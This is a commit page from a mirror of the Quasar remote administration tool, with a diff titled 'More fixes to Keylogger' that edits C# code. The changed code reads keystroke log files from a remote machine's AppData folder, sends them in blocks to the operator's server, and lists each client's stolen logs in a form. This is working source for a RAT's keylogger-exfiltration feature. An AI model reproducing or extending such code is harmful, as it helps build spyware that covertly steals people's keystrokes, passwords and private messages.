mirror of https://github.com/quasar/Quasar.git
More fixes to Keylogger
This commit is contained in:
parent
770d194ba9
commit
e8d8e8d58e
|
@ -367,18 +367,16 @@ public static void HandleGetLogs(Packets.ServerPackets.GetLogs command, Client c
|
|||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
int index = 1;
|
||||
try
|
||||
{
|
||||
int index = 1;
|
||||
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
|
||||
|
||||
DirectoryInfo dicInfo = new DirectoryInfo(path);
|
||||
|
||||
FileInfo[] iFiles = dicInfo.GetFiles();
|
||||
FileInfo[] iFiles = new DirectoryInfo(path).GetFiles();
|
||||
|
||||
if (iFiles.Length == 0)
|
||||
{
|
||||
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, iFiles.Length).Execute(client);
|
||||
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
|
||||
return;
|
||||
}
|
||||
|
||||
|
|
|
@ -335,11 +335,25 @@ public static void HandleGetLogsResponse(Client client, GetLogsResponse packet)
|
|||
|
||||
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
|
||||
|
||||
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
|
||||
if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
|
||||
{
|
||||
client.Value.FrmKl.Invoke((MethodInvoker) delegate
|
||||
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles();
|
||||
|
||||
if (iFiles.Length == 0)
|
||||
return;
|
||||
|
||||
foreach (FileInfo file in iFiles)
|
||||
{
|
||||
var file1 = file;
|
||||
client.Value.FrmKl.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem().Text = file1.Name);
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
client.Value.FrmKl.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
if (packet.Index == packet.FileCount)
|
||||
client.Value.FrmKl.btnGetLogs.Enabled = true;
|
||||
});
|
||||
}
|
||||
|
|
|
@ -49,33 +49,9 @@ private void FrmKeylogger_Load(object sender, EventArgs e)
|
|||
private void btnGetLogs_Click(object sender, EventArgs e)
|
||||
{
|
||||
btnGetLogs.Enabled = false;
|
||||
|
||||
lstLogs.Items.Clear();
|
||||
|
||||
new Core.Packets.ServerPackets.GetLogs().Execute(_connectClient);
|
||||
|
||||
new Thread(() =>
|
||||
{
|
||||
while (!btnGetLogs.Enabled)
|
||||
{
|
||||
if (FrmMain.Instance == null)
|
||||
//Provide an escape from thread in the case of client-server disconnection, a possibly rare occurence
|
||||
return;
|
||||
|
||||
Thread.Sleep(15);
|
||||
}
|
||||
|
||||
FileInfo[] iFiles = new DirectoryInfo(_path).GetFiles();
|
||||
|
||||
if (iFiles.Length == 0)
|
||||
return;
|
||||
|
||||
foreach (FileInfo file in iFiles)
|
||||
{
|
||||
var file1 = file;
|
||||
lstLogs.Invoke((MethodInvoker) delegate { lstLogs.Items.Add(new ListViewItem().Text = file1.Name); });
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
|
||||
private void lstLogs_ItemActivate(object sender, EventArgs e)
|
||||
|
|
Loading…
Reference in New Issue